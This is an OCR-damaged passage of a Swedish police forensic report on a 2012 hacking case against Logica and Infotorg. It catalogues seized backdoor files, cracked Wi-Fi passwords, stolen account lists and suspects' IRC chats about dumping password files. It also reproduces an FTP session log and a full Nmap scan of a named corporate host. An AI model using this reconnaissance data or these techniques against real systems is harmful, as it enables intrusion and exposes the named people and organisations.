S E NAST ÄNDRAD l 2012 - 03 - 29 16 : 10 : 47 l CET  

Filerna ipfnewO.png och ispfnewO.png 

Filerna "ip.fnewO.png" och "isp.fnewO.png " är identiska bilder som visar en 
wc3270 anslutning till lP-adressen 1 92. 1 68 . 1 .42. Samma lP-adress förekom i 
20 1 2-020 1 -BG25023- 1 ,  2 och 26, den refererar då till Svartholm W args 
Hercules maskin. 

F I L NAMN 1 SÖKVÄG 

i pfnew0 . png  l l ipfnew0 . p n g  
S KAPAD l n/a  
S E NAST ÄNDRAD 1 2012 - 0 3 - 29 13 : 06 : 12  

F IL NAMN l SÖKVÄG 

i spfnew0 . p n g  l l i s  pfnew0 . p ng  
S KAPAD l n/a  
S E NAST ÄNDRAD l 2012 - 03 - 29 13 : 06 : 1 3 

l 
l CET  

l 
l CET  

Filer med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
B G  1 022 1 - 1 3 .  

Filerna vc242.txt och vc242 _ backdoor 

Filerna "vc242. txt " och "vc242_backdoor" är identiska. Filernas källkod har 
analyserats av Logica, se "Report on the IT security incident of 20 1 2 -
External Version 1 .3" .  

F I L NAMN l SÖKVÄG 

vc242 . txt l /vc 242 . txt 
S KAPAD l n/a  l CET  
S E NAST ÄNDRAD l 2012 - 03 - 29 13 : 06 : 19 l CET  

F I L NAMN l SÖKVÄG 

vc242 b a c kdoor l /vc242 bac kdoor 
S KAPAD l n/a  l CET  
S E NAST ÄNDRAD 1 2012 - 03 - 29 1 3 : 06 : 19 l CET  

Filer med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
BG1022 1 - 1 3  samt i det material som inhämtats från Ubuntu One. 

Filerna tfy.ource.back, tfy.ource.backdoor och tfy.ource.txt 

Filerna "tfy. ource. backdoor ", "tfy. ource. back" och "tfy.ource. txt " är 
identiska. Filernas källkod har analyserats av Logica, se "Report on the IT 
security incident of 20 1 2 - External Version 1 .3" .  
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F I L NAMN l SÖKVÄG 

tfy . ou rce . ba c k  l /tfy . ource . ba c k  
S KAPAD l n/a  l 
S E NAST ÄNDRAD l 2012 - 03 - 29 1 3 : 06 : 18 l C ET  

F I L NAMN l SÖKVÄG 

tfy . ou rce . bac kdoor . png l /tfy . ource . b a ckdoor 
S KAPAD l n/a  l 
S E NAST ÄNDRAD l 2012 - 03 - 29 13 : 06 : 18 l C ET  

F I L NAMN l SÖKVÄG 

tfy . ou rc e . txt l /tfy . ource . txt 
S KAPAD l n/ a  l 
S E NAST ÄNDRAD 1 2012 - 03 - 29 13 : 06 : 18 l C ET  

Enligt Logicas rapport laddades en fil vid namn "tfy.source. backdoor" ,  upp på 
SY19  den 6 mars 20 1 2  klockan 17 .45 från lP-adressen 46.59 .5 1 . 1 8 1 .  Denna 
lP-adress var vid tillfället tilldelad Gustafsson av Bahnhof. 

Filer med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
B G  l 022 1 - 1 3  samt i det material som inhämtats från Ubuntu On e. 

Katalogen wep 

I katalogen "!Key/wep " och i katalogen "Linux/Keylwep " påträffades vardera 
25 textdokument med lösenord till trådlösa accesspunkter. 

$ r::>o info 

s ·C-e, Keys 
. i · · · ·Qt:J wep 

1n•pa-o a t 

� C-o Laptop 
s ·C-o unux 
. �-·C>b . xchat2. 

i · · · ·C>o bilar 
!··· ·Q� fst:ab 
�-·00 Hacking 
S··QfO Keys 
· !· · · ·010 11\!ep : . . . . c 

Bild 38 Beskrivning av katalogstrukturen "/Key/wep " och "Linux/Keylwep " 

Filer med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
B G  l 022 1 - 1 4, i beslag 20 1 2-020 1 -B G  l 022 1 - 1 9  samt i beslag 20 1 2-020 l
BG1022 1 -29. 
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Katalogen wpa-knackt 

I katalogen "/Keylwpa-knackt " och i katalogen "Linux/Key/wpa-knackt " 
påträffades 24 respektive 25 textdokument med lösenord till trådlösa 
accesspunkter. 

$··C>@) info 
B··C:> Keys 

J·· · ·C:>ro wep 

i · · '0 wpa-oknackt 
:-· · ·C:>IO Saipts 

@··C:>Cli 1hemes 

Bild 39 Beskrivning av katalogstrukturen "/Keys/wpa-knackt" och "/Linux/Keyslwpa-knackt " 

Filer med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
BG1022 1 - 14 samt i beslag 20 1 2-020 1 -BG1022 1 - 1 9  

Katalogen bilar 

I katalogen "/Diverse/bilar"  påträffades det tio skärmdumpar med slagningar 
på Infotorg gällande polisfordon. Detta är samma slagningar som förekommer 
i epos t, se beslag 20 1 2-020 1 -BG l 022 1 - 1 9  och 20 1 2-020 1 -BG l 022 1 -29. 

Därtill påträffades nio textfiler med slagningar på Infotorg gällande 
polisfordon. 

�-·C:.>IEJ Bilder 
�-·C:.>t:J bin 
�-·C:>IEJ Diverse 

l ; ! · · · ·gg Adrew;er 
: c>ro pdf 

: @· ·C:>tCJ The Ultimate Fak.e ID Guide 20 10 Version 7 

: - · · ·C>IO Documents 
:- · · ·C:> dump 

$··C>o info 

Bild 40 Beskrivning av katalogstrukturen "/Diverse/bilar" 

Katalogen dump 

Katalogen "/dump " innehöll 5 stycken Excel-filer som visar olika användares 
behörigheter på Infotorg. Filerna ser ut att vara sammanställningar uppdelade 
på företag/myndigheter. 
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Bild 4 1  Beskrivning av katalogstrukturen "/dump " 

Katalogen info 

Katalogen "/info " innehöll 14  stycken Excel-filer som visar olika användares 
behörigheter på Infotorg. Filerna ser ut att vara sammanställningar uppdelade 
på företag/myndigheter. 

�-·0 Bilder 
�-·O bin $··9C:. Diverse 
' i · · · ·O Adresser 

! · · · ·O bilar 
: - - - �>o pdf 

! ffi · C·G:J The Ultimate Fake ID Guide 20 10 Version 7 

i · · · ·C>f:J Documents 
! . . . .  c;)fi: dump 

11±1··0 info 

Bild 42 Beskrivning av katalogstrukturen "linfo •• 

C hatt 

I katalogen "Linux\xchat2\scrollback\"  med underkataloger återfanns text
filer innehållande sparade chattkonversationer som skett via IRC. 

U IEiJ Laptop 
- oe. Linux 

o o scripts 
+ oo Hacking 

DO Keys 
OlD Themes 
'00 bilar 
oro . xchat2 

'00 reaver 

Bild 43 Beskrivning av katalogstrukturen "Linux\xchat2\scrollback\ " 
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En sammanställning av konversationerna återfinns i bilaga Passagen.2 -
Sammanställning av xchat2. 

Nedan visas utdrag ur filen som totalt omfattar 96 sidor 

2012 - 03 - 10 <t lt >  de  a r  sa  JAVLA AGDA 16 : 54 

020 1 -K8 1 864- 1 2  

2012 - 03 - 10 < d i ROX oj såg  i nte at d u  s krev � vad va r det 
16 : 5 5 > j ag laddade ner ? 
2012 - 03 - 10 <t lt >  deras  ra cf - d b  16 : 56 
2012 - 03 - 10 <t lt >  t a n k  / etc/pas swd 16 : 56  
2012 - 03 - 10 <t lt >  : P  16 : 56  
2012 - 03 - 10 <t lt >  wel l  16 : 56  
2012 - 03 - 10 <t lt >  s h adow 16 : 56  
2012 - 03 - 10 J : d i ROX h a h  16 : 56  
2012 - 03 - 10 < d i ROX u ne rba rt 16 : 56  > 

Tabell 2 Chatt mellan "diROX" och "tLt". 

2012 - 03 - 25 < t lt >  vill  d u  h a  ett pa r i nfotorgkonton : ) 
21 : 11  
2012 - 03 - 25 
21 : 11  
2012 - 03 - 25 
21 : 11  
2012 - 0 3 - 25 
21 : 11  
2012 - 03 - 25 
21 : 11  
2012 - 0 3 - 25 
21 : 12 
2012 - 03 - 25 
21 : 12 
2012 -03 - 25 
2 1 : 15 

s i s a d a r  
< d i ROX j a  p s  > 
< d i ROX ge mig > 
< d i ROX j ag h a r  > 
< d i ROX = ) > 
< d i ROX h a r  d u  l > 
< d i ROX s ku l le  > :d i ROX j laddar  

70k  st  : ) 

bara  200 

nå poli s konon � ? 

vilj a se h u r  dom såg 

d u  upp  dom n å n st a ns ? 

Tabell 3 Chatt mellan "diROX" och "tLt''. 

2012 - 03 - 25 < t lt >  typ  1 28k  konton totalt 2 1 : 22 
2012 - 03 - 25 < t lt >  h ade  k ra kkat 70k s e n a st j ag  
21 : 22 : ) 
2012 - 03 - 25 < d i ROX fan nie  e 21 : 22 va > 
2012 - 03 - 25 < d i ROX = ) 21 : 23 > 
2012 - 03 - 25 < d i ROX d u ktig  21 : 23  > apa  

ut 

kollade  
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2012 - 0 3 - 25  <tlt>  ! sen  h a r  j ag kompletta dumpar  av 
21 : 23 bl . a .  fogdens  regi ster 
2012 - 03 - 25 <t lt>  < t lt >  sen  h a r  j ag kompletta dumpa r 
21 : 24 av bl . a .  fogdens  regi ster 
2012 - 03 - 25 < t lt >  J bara  fogden e 12GB haha  21 : 24 

Tabell 4 Chatt mellan "diROX" och "tLt". 

2012 - 03 - 25 < d i ROX j ag vill  ha  derazs  regi ster 21 : 29 > 
2012 - 0 3 - 2 5  < t lt >  s ka d u  i nte h a  l ite  penga r fran  
21 : 29 fogden oxo : )  
2012 - 0 3 - 25  < d i ROX j op 21 : 30 > 
2012 - 03 - 25 l < d i ROX 

= ) 21 : 30 > 
2012 - 03 - 25 < t lt >  av ngn  a nled n i ng t ror j ag att  det  e 
21 : 30 en  d a l ig ide  . forsta a r  batt re 
2012 - 03 - 25 < t lt >  ma ste  ordna nanstans  d u  kan  d ra fran  
21 : 30 1 bara  

Tabell 5 Chatt mellan "diROX" och "tLt". 

2012 - 03 - 29 < t lt >  SPAR l igger j u  inte hos 
20 : 26 i nfotorg/ sema/ logi ca  la ngre ! : D  
2012 - 03 - 29 <t lt >  1 d a remot gor K FMs regi ster  det ( REX)  
20 : 26 . .  d u  sag  att j ag s nott hela ? 
2012 - 03 - 29 < d i ROX j ag pac kade upp  a l lt idag ,  s itte r  
20 : 26 > och  krypteraq r  det n u  
2012 - 03 - 29 < d i ROX h å l le r  på att s ä kra det osä kra på 
20 : 26 > l a ptoppen 
2012 - 03 - 29 < d i ROX vill  d u  ha  a l lt det  j ag h a r  sen ? vet 
20 : 27 > inte om vi h a r  l i ka 

Tabell 6 Chatt mellan "diROX" och "tLt". 

I materialet påträffades även konversationer med Kristoffer Smedlund, alias 
"snuggl " ,  se utdrag nedan. 

2012 - 03 - 30 < d i ROX vill  d u  ha  några  konton till  info ? 10 : 52 > 
2012 - 03 - 30 < s n uggl n äät a c k  10 : 5 3 > 
2012 - 03 - 30 < s n uggl h a r  samma som du red a n  10 : 5 3 > 
2012 - 03 - 30 < s nuggl vi  som  krac kat dom vettvettyvetty= ) 10 : 5 3 > 
2012 - 03 - 30 < sn uggl oj 10 : 5 3 > 
2012 - 03 - 30 < snuggl men s n a c ka inte s å  mkt om  det på  
10 : 5 3 > efnet 
2012 - 03 - 30 < d i ROX - inte krypterat h ä r  10 : 5 3 > 
2012 - 03 - 30 < sn uggl 1 l ä r  va ra loggat =P 10 : 5 3 > 
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2012 - 03 - 30 < d i ROX - ä r  du  inte på t n et 10 : 5 3 > 
2012 - 03 - 30 < d i ROX - ? 10 : 5 3 > 
2012 - 03 - 30 < s n uggl j o  10 : 5 3 > 
201 2 - 03 - 30 < s n uggl kr s d ä r  10 : 5 3 l > 
2012 - 03 - 30 < sn uggl nej på wideopenbsd  10 : 54 > 
2012 - 03 - 30 < d i ROX = ) a h a J  j ag t rodde det va r j ag och  -

10 : 54 > ana apa som samarbetat 
2012 - 03 - 30 < d i ROX - j apps ä r  kva r i se 10 : 54 > 
2012 - 03 - 30 < d i ROX - vill  d u  ha  några konton t i l l  info ? 10 : 52 > 
2012 - 03 - 30 < s n uggl nääta c k  10 : 5 3 > 
2012 - 03 - 30 < sn uggl h a r  samma som d u  red a n  10 : 5 3 > 
2012 - 03 - 30 < s n uggl vi som krac kat dom vettvettyvetty= ) 10 : 5 3 > 
2012 - 0 3 - 30 1 < s n uggl l oj 10 : 5 3 l > 

Tabell 7 Chatt mellan "d!ROX" och "snuggl " .  

Analys och slutsats 

I det undersökta materialet påträffades ett flertal filer med lösenord till 
hackade trådlösa accesspunkter från området runt Gustafsson adress .  Bland 
dessa återfanns Mikael Backes och Linnea Wikströms trådlösa nätverk. lP
adresser kopplade till dessa har använts vid dataintrånget mot Logica och 
Applicate. 

I materialet påträffades ett flertal filer med användarnamn och lösenord till 
användare på Infotorg. Därtill påträffades ett flertal filer med 
sammanställningar av användaruppgifter uppdelade på företag/myndigheter. 

Filen "infotorgusers.xls " innehöll till exempel användaruppgifter för över 3 
000 personer. En stor del av dessa var anställda inom polisen. Metadata visar 
att filen, senast sparats av användaren "luciddream" den 9 mars 20 1 2  klockan 
6 .58 .  

Filen "databaser"  visar när den lokala användaren "luciddream" på datorn 
"lg-linux", den 4 mars 20 1 2  klockan 2.25 loggar in med användarkontot 
BSN0058 på ftp.infodata. se. Användaren hämtar dataset och spara dem i 
katalogen "/home/luciddream/polis " .  

Filerna i katalogen "/pdf" visar sparade slagningar från Infotorg från den 4 
mars 20 1 2  mellan klockan 1 .56 och 4.26. Slagningarna rör framför allt 
polisiära fordon. 
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Körkortet tillhörande Svartholm W arg samt den chatt som påträffats visar att 
de haft en nära kontakt och känt varandra en längre tid. 

Inhämtad data från Ubuntu One 

Under utredningen kunde det konstateras att Gustafsson hade ett konto på 
Ubuntu One. Efter begäran om rättshjälp levererades ett SD minne med 
innehållet på detta konto. Kontot var registrerat med uppgifterna Mathias 
Gustafsson och epostadressen luciddream 1 97 6@ hotmail .com. 

Ubuntu One är en molntjänst där man kan synkronisera och lagra filer. Man 
anger vilka filer eller mappar med innehåll som man vill lagra. Det går även 
att nå dessa filer via en webbläsare. 

Beskrivningfilen metadata.csv 

På SD minnet fanns ett Ext2 filsystem. Direkt i rotkatalogen fanns en fil som 
hette metadata. csv vilken sannolikt var en fil med metadata från. Denna fil låg 
utanför den del av katalogstrukturen där användarfiler påträffats .  Filen såg ut 
att vara en listning av filer som synkroniserats med servrarna på Ubuntu One 
kontot samt olika kolumner. Två av kolumnerna var "id" och "name" . 
Filnamnet hade en koppling till ett unikt id på Ubuntu One servrarna samt till 
hashsummor. 

Två andra kolumner var "when created" och "status". Sannolikt så har 
kolumnen "when created" uppdaterats då filer synkroniserats med UbuntuOne 
från någon enhet. Kolumnen "status" hade antingen värdena "Dead" eller 
"Live" . Bland filerna på minneskortet fanns även raderade eller icke längre 
synkroniserade filer med statusen "Dead". Filerna var döpta till sitt unika id. I 
metadata.csv gick det att se vad filen tidigare haft för namn. 

Iakttagelser och undersökningar 

Jämförelse av beslag och inhämtat data 

Sammanlagt 66 innehållsmässigt identiska filer, med samma MD5 hash 
summa, på Ubuntu On e fanns även på beslagspunkten 20 1 2-020 1 -BG l 022 1 -
1 3 .  

1 7495 innehållsmässigt identiska filer, med samma MD5 hash summa, på 
Ubuntu One fanns även på beslagspunkten 20 1 2-020 1 -BG1022 1 -29 och i 
hemkatalogen luciddream. 

33537 innehållsmässigt identiska filer, med samma MD5 hash summa, på 
Ubuntu One fanns även på det material som erhållits från Mathias Gustafssons 
konto på Passagen. 
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Filer och kataloger 

Filen databaser 

Filen "databaser ", som var raderad, innehöll en sparad loggfil från en 
anslutning till ftp.infodata. se. 

F I L NAMN l TIDIGARE SÖKVÄG 

databa ser  l l i nfotarg/databa ser  
S KAPAD l n/a  
S E NAST ÄNDRAD l n/a  

020 1 -K8 1 864- 1 2  

Samma innehållsmässigt identiska fil, med samma MD5 hash summa, har 
påträffats på beslagspunkten 2012-020 1 -BG l 0221-13 samt på materialet från 
Mathias Gustafssons konto på Passagen. 

Filen kontonin/o 

En raderad fil "kontoninja " innehöll en förteckning på l 02 konton med 
lösenord och i de flesta fall behörigheter. 

F I LNAMN TIDIGARE SÖKVÄG 

konton info l / I nfotorg/kontoninfo 
SKAPAD J n/a  
S E NAST ÄNDRAD l n/a  

Samma innehållsmässigt identiska fil, med samma MD5 hash summa, har 
påträffats på beslagspunkten 20 1 2-020 1 -BG l 022 1 - 1 3 .  

Filer med namnet "kontoninfo" och samma innehåll har även påträffats i 
material som inhämtats från passagen .se. 

Filen infotorgusers.xls 

Den raderade filen "infotorgusers.xls " innehöll användaridentitet, namn och 
behörigheter för 3 205 användare på Infotorg. En stor del av dessa var 
anställda inom polisen. Metadata visar att filen sparats 4 gånger, senast sparad 
av användaren "luciddream" den 9 mars 20 1 2  klockan 6 .58 .  

F I L NAMN TIDIGARE SÖKVÄG 

i nfotorgu sers . xl s  l / infotorg/ i nfotorgu sers . xl s  
S KAPAD l n/a  
S E NAST ÄNDRAD l n/a  

Samma innehållsmässigt identiska fil, med samma MD5 hash summa, har 
påträffats på beslagspunkten 20 1 2-020 1 -BG l 022 1 - 1 3  samt på materialet från 
Mathias Gustafssons konto på Passagen. 
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Filen vc242 _ backdoor 

Den raderade filen "vc242_backdoor" innehåller källkod som har analyserats 
av Logica, se Report on the IT security incident of 20 1 2 - Extemal Version 
1 . 3 .  

F I LNAMN j TIDIGARE SÖKVÄG 

vc242 b a c kdoor l / infotorg/vc242 ba c kdoor 
S KAPAD l n/a  
S E NAST ÄNDRAD l n/a  

Samma innehållsmässigt identiska fil, med samma MD5 hash summa, har 
påträffats på beslagspunkten 20 1 2-020 1 -BG l 022 1 - 1 3 .  

Filerna tfy.ource.backdoor och tfy.ource.txt 

Två raderade filer, innehållsmässigt identiska. De hade tidigare haft namnen 
tfy. ource. backdoor och tfy. ource. txt. Samma innehållsmässigt identiska filer, 
med samma MD5 hash summa, har påträffats på beslagspunkten 20 1 2-020 1 -
B G  l 022 1 - 1 3samt i det material som inhämtats från Passagen. 

En fil som hette tfy.source. backdoor har analyserats av Logica, se "Report on 
the IT security incident of 20 1 2 - Extemal Version 1 .3" .  Detta kodinnehåll 
stämmer överens med kodinnehållet i de två nedanstående filerna. 

F I L NAMN l TIDIGARE SÖKVÄG 

tfy . ou rc e . txt l / infotorg/tfy . ource . txt 
S KAPAD l n/a  
S E NAST ÄNDRAD l n/a  

F I L NAMN l TIDIGARE SÖKVÄG 

tfy . ou rc e . bac kdoor l / infotorg/tfy . ou rce . bac kdoor 
S KAPAD l n/a  
S E NAST ÄNDRAD l n/a  

Enligt Logicas Report on  the IT security incident of  20 1 2 - Extemal Version 
1 . 3 ,  laddades en fil vid namn "tfy.source. backdoor" ,  upp på SY19 den 6 mars 
20 1 2  klockan 17 .45 från lP-adressen 46.59 .5 1 . 1 8 1 .  Denna lP-adress var vid 
tillfället tilldelad Gustafsson av Bahnhof. 

Dataset 

I materialet påträffades l 4 1 3  unika dataset som innehöll data. Dessa filnamn 
förevisades för Elisabeth Gummeson på Logica som uppgav att "i stort sett 
allt" var bekant från Logicas servermiljö .  

Enligt de prefixförklaringar som erhållits så var majoriteten systemfiler från 
Applicate. Men även dataset med material från 
Domstolsverket/Justitiedepartementet, C s n, Marinen, Trafiksäkerhetsverket 
och Infotorg fanns med. 
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S e  Pm gällande Elisabeth Cummesson Logica. 

Dessa filer är senast ändrade mellan den 30 och den 3 1  januari 20 l O samt 
mellan den 20 och den 2 1 mars 20 1 1 .  Se bilaga Bilaga Ubuntu One. l för en 
fullständig sammanställning, bilagan omfattar 27  sidor. 

Filen E484.DAF 1496.SKYDDADE.READREAD 

Filen "E4841.DAF1496. SKYDDADE.READREAD " 1 0462 personnummer i 
spannet 1 905-2005 . 

F I L NAMN 1 SÖKVÄG 

E484 . DAF1496 . SKYDDADE . READR l / infotorg/ E484 
EAD . READREAD 
S KAPAD l n/a  
S E NAST ÄNDRAD l 201 1 - 03 - 20 11 : 28 : 14 

. DAF1496 . SKYDDADE 

l CET  

Samma personnummer har påträffats på  beslagspunkten 20 1 2-020 1 -BG l 022 1 -
1 9  i oallokerat område. 

Vid samtal med Jesper Blomström, Säkerhetspolisen, framkom det att filen 
E484.DAF1496. SKYDDADE.READREAD olovligen gått ut vid två tillfällen. 
Dels 20 10  den 30 januari till en IP adress i Kambodja  samt 20 1 1  den 20 mars 
till en IP adress hos Bredbandsbolaget i Borlänge området. 

Filen är sekretesskyddad och finns inte som bilaga. 

Filen MKOD 

Filen "MKOD " innehöll 989 95 1 personer med namn, personnummer och 
adress födda mellan 1 943-0 1 -0 1  och 1 978- 1 2-3 1 .  stickprov har gjorts på ett 
flertal olika personer bosatta i Sverige födda i detta spann och det har blivit 
träff varje gång. 

F I LNAMN l SÖKVÄG 

MKOD l / boot/grub/MKOD 
SKAPAD l n/a  
S E NAST ÄNDRAD l 2010 - 01 - 30 16 : 46 :  l CET  

Vid samtal med Jesper Blomström, Säkerhetspolisen, framkom det att filen 
"MKOD " sannolikt blivit bearbetad på något sätt. Det troliga ursprungliga 
namnet på filen var LLXX.JN.P210719. SPAR.MKOD . Filen användes för 
direktreklam. Denna fil gick olovligen ut 20 10-0 1 -30.  Denna fil och MKOD 
hade samma antal personnummer. 

1 E484 är det prefix Logica använder för dataset tillhörande Applicate. 
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FilenftpOlog 

Filen ' 'ftpOlog " innehöll en sparad loggfil från en anslutning till 
infocus .infodata. se ma. se. 

F I LNAMN l SÖKVÄG 

ftp0log l /ftp105/ftp0log 
S KAPAD l n / a  
S E NAST ÄNDRAD 1 2010 - 02 - 04 1 5 : 24 : 08 c et 

020 1 -K8 1 864- 1 2  

Nedan visas ett utdrag ur filen som totalt omfattar 6227 sidor. Filen återfinns i 

sin helhet i bilaga Ubuntu One.4 ftpOlog. 

A v innehållet i filen framgår det att den lokala användaren "a" på datorn 
"flatline", den 4 februari 20 l O klockan 15 . 1 6  loggar in med an vändarkontot 
sema1 05 på infocus.infodata. sema.se. Anändaren listar därefter ett stort antal 
datase t. 

a@flat line : -/x/ku/ft p105$ 
a@flatline : -/x/ku/ftp105$ ft p _ _ _ _  infoc u s . n  _ _  infodata . sema . se 
Connected to infoc u s . infodata . sema . se .  
220 - FTPD1 I BM FTP  C S  V1R10 a t  S E MAINF , 15 : 16 : 31 o n  2010 - 0 2 - 04 .  
220 Connection will  c lose  i f  idle  for more t h a n  1 0  minutes . 
Name ( infoc u s . infodata . sema . se : a ) : sema105 
234 Sec u r ity envi ronment establis hed - ready for negot iation 
[ SS L  Cipher RC4 - MD5 ] 
331  Send p a s sword please . 
Pas sword : 
230 S E MA105 i s  logged on . Wa rking d i rectory i s  " S EMA105 . " .  
Remote system type i s  MVS . 
ftp >  d i r  ' .  ' ; 
200 Port request OK . 
550  No data  sets found . 
ftp >  d i r  ' * _ _ _ _ _ _ __  p a s s iev _ _  ve _ _ _ _  ve 
P a s s ive mode on . 
ftp >  d i r  ' * ' 
227 E ntering  Pa s s ive Mode ( 19 5 , 17 , 98 , 179 , 195 , 114 )  
1 25 List starled OK 

Utdrag 1 9  Utdrag ur filen "lftp105/ftp0log " 

Enligt uppgift från Logica användes vid incidenten 20 10  en dator vid namn 
flatlin e. Det fullständiga datornamn var "flatlin e. pteah.estoykh.com" och hade 
vid tillfället lP adressen 1 94.7 1 . 1 26. 1 8 .  Se Logica Utredningsrapport v3 20 1 2-
04-04. 

Datornamnet ' 'flatline " förekom även i beslagen 20 1 2-020 1 -BG25023-26 och 
20 1 2-020 1 -BG25023-2. 

I beslaget 20 1 2-020 1 -BG25023-26 och den krypterade TrueCrypt containern 
fanns det loggfiler från en dator vid namn ''flatline ". 

I beslaget 20 1 2-BG25023-2 fanns det en virtuell Virtualbox Windows Xp 
installation som hette "nortrojOa". I denna maskin fanns det spår av att den 
varit uppkopplad mot en dator vid namn ' 'flatline ". 
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Katalogerna infotorg 

I katalogen " infotorg " påträffades ca 6 1  000 filer totalt ca 14 ,3 GB data . Se 
bilaga Ubuntu One.5 Fillista infotorg för katalogen infotorg, filen omfattar 
totalt 827 sidor. 

I en underkatalog till ovanstående mapp "infotorg" fanns en mapp också den 
med namn "infotorg" . Den hade samrna struktur som katalogen "infotorg" på 
beslagspunkten 20 1 2-020 1 -BG l 022 1 -29 . 

Skärmdumpar polisen 

Det påträffades 20 stycken s.k. skärmdumpar föreställande slagningar på 
Infotorgs webtjänst. Slagningarna gäller framförallt fordon tillhörande polis 
och kriminalvården i Dalarna. 

fal u n01 . J PG Polismynd igheten Dala rna Näpo område 
F a l u n  

fa l u n02 . J PG Polismyndigheten Dalarna  Nä p o område 
F a l u n  

borlänge01 . J PG Pol ismynd igheten Dalarna  Nä p o område 
Borlänge 

l udvika01 . J PG Poli smynd igheten Da la rna  Nä  p o område 
Ludvika 

ma l ung01 . J PG Polismynd igheten Dalarna  Nä p o område 
Ma lung 

mora01 . J PG Pol ismyndigheten Dalarna  Nä p o område 
Mora 

rättvi k . J PG Pol ismyndigheten Dalarna  Nä p o område 
Rättvi k 

k va _ha ll01 . j pg Kriminalvård san stalten Hall  i 
l södert ä l j e  

h ä ktet_falun01 . J PG Hä ktet F a l u n  
ä ngelholm01 . J PG Pol i smynd igheten i Ängelholm 
kvm_vä sterå s . J PG KVM Vä sterå s Hä ktet 
h ä ktet h ä rnösand01 . J PG Häktet Hä rnös and  

kva_vi s kan . J PG Kriminalvå rd sanstalten Vi s ka n  
Torpshamma r 

avesta01 . J PG Poli smynd igheten Da la rna  Näpo område 
Ave sta 

kva_til l be rga01 . J PG Kriminalvå rd s a n sta lten Tillberga 
Vä sterås  

västerås01 . J PG 1 Pol ismynd igheten i Vä stmanlands  län  
västerå s02 . J PG Poli smynd igheten i Vä stmanland s  län  
västerås03 . J PG Polismynd igheten i Vä stmanland s  län  
västerås04 . J PG Poli smynd igheten i Vä stmanland s  län  

kva_gruvberget01 . J PG Krimina lvå rd s a n st a lten  G ruvberget 
Gävle 

Tabell 8 Fillista över skärmdumpar från Infotorgs webtjänst. l kolumn två presenteras e n  förklaring av innehållet. 

Slagningarna förefaller vara från 1 8  november 2008 då filerna är sparade. Det 
går även att se i skärmdumparna att nere vid tidsvisningen till höger på 
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aktivitetsfältet p å  skärmen anges veckodagen till en tisdag. Den 1 8  november 
2008 var en tisdag. 

Nedan visas ' 'filen kva_viskan.JPG ",  där fabrikat och registreringsnummer är 
bortklippt. 

F I L NAMN l SÖKVÄG 

kva viskan . J PG J n/a  
S KAPAD 

S E NAST ÄNDRAD 

Jnfob1l 

. ..... __ 

. ...._.._, ..... 
· -

l n/a  
1 2008 - 1 1 - 18 23 : 13 : 08 

699000-0926 

64013 TORPSHAMMAR LKF: 228107 Äoartf.ateoori; staten 

Ant•l t.imt•d., fordon: 6 
Fonlonulat 

Per'J(H'ob• 
S�P 

c et 

Ant.l 

il"§m. f'ordonnl•o Slaht5 Ägarroll 
Personbil l trafil.: 

Pen:onbd l trefil< 

PerJonb• l trö 1988 SlÄP l tr.tfilc Pertonb� Av1tibll 
Pert:ono• l tr.nk 

� 1-) .. l• tnfobll ·�firdOOI \ IINob · �  l $ FJ · �  l " Ndll - � l '\ I+W"" led'n:liogr -Co .. , l ��........... l 
-- Q B rp_...,..,. l y""""-"'"""""''·"'·· · l 

B ild 44 Utdrag ur filen kva_viskan.JPG, där fabrikat och registreringsnummer är bortklippt. Notera särskilt de två 
markerade flikarna. Det ena är ett pågående skrivande av epost på kontot luciddream@gmail. com samt en inloggning 
påftp.passage.se med kontot Dirox. 

Filer med samma namn och innehåll har även påträffats epost i beslag 20 1 2-
020 1 -BG 1 022 1 - 1 3  samt i det material som inhämtats från passagen. se. 

Loggfiler från portskanningar 

it.sto.sema.se 

I materialet påträffades en stor mängd loggfiler från portskanningar mot 
datorer tillhörande Sema Global Services AB, bl. a. filen it. sto. sema. se. 
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F I LNAMN SÖKVÄG 

it . sto . s ema . se l n/a  
SKAPAD l n/a  
S E NAST ÄNDRAD l 2009 - 09 - 26 19 : 19 : 03 c et 

Nedan visas hela innehållet i filen it. sto. sema. se . 

starting Nmap 4 . 53 ( http : // i n s e c u re . org ) at 2009 - 09 - 26 22 : 44 ICT 
I nterest ing  ports on it . sto . sema . se ( 192 . 16 . 143 . 2 ) : 
Not shown : 65503 filte red port s 
PORT STATE S E RVICE 
13/t c p  o p e n  dayt ime 
21/t c p  open ftp 
23/tcp  open telnet 
80/t c p  c losed http 
113/t c p  c losed  auth 
443/tcp  c losed https  
446/t c p  open  ddm - rd b  
5 1 5 / t c p  o p e n  printer 
992/tc p  open telnets 
1364/tcp  open ndm - server 
3000/t c p  c losed  ppp 
3003 /tcp  c losed u n known 
3010/t c p  open u n known 
3012/t c p  open u n known 
3015/t c p  c losed  u n known 
3016/t c p  c losed u n known 
3050/t c p  c losed u n known 
3080/t c p  c losed  u n known 
3090/t c p  open u n known 
3095/tcp  c losed u n known 
3099/tcp  c losed u n known 
3105/tcp  c losed  u n known 
3110/t c p  open u n known 
5020/t c p  open u n known 
8044/t c p  open u n known 
8999/tcp  c losed u n known 
9111/t c p  open DragoniDSConsole  
9143/t c p  open u n known 
12172/t c p  c losed u n known 
12173/t c p  c losed u n known 
12174/tc p  c losed  u n known 
12175/t c p  c losed u n known 
Device  type : general pu rpose l web p roxy 

020 1 -K8 1 864- 1 2  

Running  ( J UST GUESSING ) : F reeBSD 6 . X  ( 9 2% ) , Blue  Coat SGOS 5 . X  ( 85%) 
Aggre s s ive OS guesses : F reeBSD 6 . 2 - RE L EAS E ( 92% ) , Blue  Coat SG200 p roxy s e rver 
( SGOS 5 . 1 . 4 . 4 ) ( 85%) 
No exa ct OS mat e hes  for host ( test conditions  non - ideal ) .  
Uptime : 19 . 348 days ( s i n c e  Mon Sep 7 15 : 57 : 22 2009 ) 

os detection pe rformed . Please  report any i n c orrect results  at 
http : / / i n s e c u re . org/nma p / submit/ . 
Nmap done:  1 l P  address ( 1  host up) seanned in 5684. 602 seeonds 

Utdrag 20 Innehållet i filen "it.sto.sema.se " 

logpwl 

I materialet påträffades även flera loggfiler där man på ett automatiserat sätt, 
via Teinet, provat olika konton och lösenord mot lP adressen 2 17 . 1 50. 1 60. 1 72 
tillhörande Sema Global Services AB . 
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Nedan visas ett utdrag ur filen som totalt omfattar 12  sidor. Filen återfinns i 

sin helhet i bilaga Ubuntu One. 6 logpwl.  

F I L NAMN J SÖKVÄG 

